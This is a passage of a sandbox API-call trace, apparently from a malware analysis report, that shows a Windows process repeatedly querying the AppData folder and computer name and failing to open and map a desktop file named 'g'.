MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.078] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.079] CloseHandle (hObject=0x0) returned 0 [0189.079] CloseHandle (hObject=0xffffffff) returned 1 [0189.079] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.079] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.079] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.079] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.079] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.079] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.079] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.079] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.079] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.079] CloseHandle (hObject=0x0) returned 0 [0189.079] CloseHandle (hObject=0xffffffff) returned 1 [0189.079] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.079] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.079] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.079] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.079] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.079] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.079] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.079] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.079] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.079] CloseHandle (hObject=0x0) returned 0 [0189.080] CloseHandle (hObject=0xffffffff) returned 1 [0189.080] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.080] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.080] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.080] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.080] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.080] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.080] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.080] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.080] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.080] CloseHandle (hObject=0x0) returned 0 [0189.080] CloseHandle (hObject=0xffffffff) returned 1 [0189.080] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.080] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.080] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.080] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.080] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.080] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.080] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.080] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.080] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.080] CloseHandle (hObject=0x0) returned 0 [0189.081] CloseHandle (hObject=0xffffffff) returned 1 [0189.081] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.081] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.081] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.081] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.081] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.081] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.081] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.081] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.081] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.081] CloseHandle (hObject=0x0) returned 0 [0189.081] CloseHandle (hObject=0xffffffff) returned 1 [0189.081] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.081] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.081] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.081] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.081] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.081] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.081] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.081] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.081] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.081] CloseHandle (hObject=0x0) returned 0 [0189.081] CloseHandle (hObject=0xffffffff) returned 1 [0189.082] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.082] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.082] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.082] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.082] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.082] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.082] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.082] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.082] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.082] CloseHandle (hObject=0x0) returned 0 [0189.082] CloseHandle (hObject=0xffffffff) returned 1 [0189.082] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.082] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.082] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.082] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.082] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.082] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.082] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.082] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.083] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.083] CloseHandle (hObject=0x0) returned 0 [0189.083] CloseHandle (hObject=0xffffffff) returned 1 [0189.083] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.083] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.083] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.083] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.083] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.083] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.083] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.083] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.083] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.083] CloseHandle (hObject=0x0) returned 0 [0189.083] CloseHandle (hObject=0xffffffff) returned 1 [0189.083] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.083] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.083] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.083] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.083] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.083] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.083] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.083] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.084] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.084] CloseHandle (hObject=0x0) returned 0 [0189.084] CloseHandle (hObject=0xffffffff) returned 1 [0189.084] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.084] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.084] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.084] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.084] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.084] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.084] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.084] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.084] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.084] CloseHandle (hObject=0x0) returned 0 [0189.084] CloseHandle (hObject=0xffffffff) returned 1 [0189.084] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.084] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.084] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.084] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.084] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.084] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.084] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.084] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.084] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.085] CloseHandle (hObject=0x0) returned 0 [0189.085] CloseHandle (hObject=0xffffffff) returned 1 [0189.085] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.085] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.085] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.085] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.085] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.085] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.085] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.085] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.085] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.085] CloseHandle (hObject=0x0) returned 0 [0189.085] CloseHandle (hObject=0xffffffff) returned 1 [0189.085] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.085] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.085] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.085] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.085] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.085] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.085] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.085] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.085] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.085] CloseHandle (hObject=0x0) returned 0 [0189.085] CloseHandle (hObject=0xffffffff) returned 1 [0189.085] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.086] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.086] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.086] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.086] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.086] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.086] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.086] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.086] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.086] CloseHandle (hObject=0x0) returned 0 [0189.086] CloseHandle (hObject=0xffffffff) returned 1 [0189.086] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.086] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.086] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.086] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.086] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.086] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.086] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.086] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.086] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.086] CloseHandle (hObject=0x0) returned 0 [0189.086] CloseHandle (hObject=0xffffffff) returned 1 [0189.086] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.086] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.086] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.087] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.087] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.087] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.087] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.087] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.087] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.087] CloseHandle (hObject=0x0) returned 0 [0189.087] CloseHandle 